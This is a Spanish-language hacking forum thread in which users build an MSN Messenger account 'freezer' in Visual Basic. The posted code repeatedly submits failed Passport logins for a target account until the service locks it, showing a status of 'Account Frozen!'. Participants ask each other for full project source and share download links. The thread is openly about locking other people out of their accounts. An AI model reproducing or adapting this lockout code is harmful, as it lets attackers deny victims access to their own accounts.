Fabricando un congelador tipo ice cold en vb[Optimizado]

[Tughack]

Exacto! Veo k entiendeste perfectamente lo k dice.

La diferencia esk lo hago con el control inet ya k no me importa la dependencia y no hay k hacer nada como la funcion Satura.

Aki la parte del codigo k uso para los requests:

Código [Seleccionar] Expandir


.
.
.
    Case "USR 3"
        sTmp = Split(sData, "USR 3 TWN S ")
        sChallengeString = sTmp(1)
        netMain.Execute "https://nexus.passport.com/rdr/pprdr.asp", "GET"
        Do Until netMain.StillExecuting = False
            DoEvents
        Loop
        iStart = InStr(netMain.GetHeader("PassportURLs"), "DALogin=") + 8
        iLength = InStr(iStart, netMain.GetHeader("PassportURLs"), ",")
        sDALogin = Mid(netMain.GetHeader("PassportURLs"), iStart, iLength - iStart)
        netMain.Execute "https://" & sDALogin, "GET", , "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & FixAccount(txtAccount.Text) & ",pwd=password," & sChallengeString
        Do Until netMain.StillExecuting = False
            DoEvents
        Loop
        If bLock = True Then
            If stbMain.Panels(1).Text <> ">> Account Frozen!" Then
                If stbMain.Panels(1).Text <> ">> Freezing... [90%]" Then
                    iStatus = iStatus + 10
                    stbMain.Panels(1).Text = ">> Freezing... [" & iStatus & "%]"
                    Call basTray.Modify(Me, "ICEBERG", "Freezing... [" & iStatus & "%]")
                Else
                    iStatus = 0
                    stbMain.Panels(1).Text = ">> Account Frozen!"
                    Call basTray.Modify(Me, "ICEBERG", "Account Frozen!")
                End If
            End If
            sckMain.Close
            sckMain.Connect "messenger.hotmail.com", 1863
        End If
    End Select
.
.
.


Salu2

[Kizar]

Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.
En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.

[Tughack]

Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.

Si eso da =, el controlo inet no es mas k un ocx k utiliza esas apis, aunk es mas facil de usar xD

En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.

100% de acuerdo, lo dice hace unos posts atras..

Salu2

[drakolive]

Tughack podrias postear el proyecto completo?

[nhaalclkiemr]

Tughack podrias postear el proyecto completo?

Hay k leer:

He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu

http://www.mediafire.com/?4vcnhw2dcyu

Saludos

[Tughack]

Tughack podrias postear el proyecto completo?

Hay k leer:

He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu

http://www.mediafire.com/?4vcnhw2dcyu

Saludos

Se referia a mi Freezer, el Iceberg, hasta ahora solo postee el binario.

Tughack podrias postear el proyecto completo?

Pues no se pork, con el codigo de kizar ya lo pueden hacer bien. Creo k este tema ha sido bien explorado en lo k toca a codigo, solo tienen k leer y haran uno k funcione.

Salu2

[Freeze.]

Sep pero el se refiere al de TugHack... si no me equivoco...

[drakolive]

Si me referia al de TugHack... el de kisar que lo posteo completo no me freeaba las cuentas...pero del de Tughack parece q si lo hace y bastante bien..
asi q xq no compartirlo... la mayoria no del todo xq  se que ha sido mucho trabajo para ti.
Gracias TugHack.
kizar tbn ya esta apunto de lograrlo que bien...

[Kizar]

Esto esta mucho mejor que el proyecto que subi:
http://foro.elhacker.net/index.php/topic,174279.msg828579.html#msg828579

[drakolive]

pero el proyecto completo?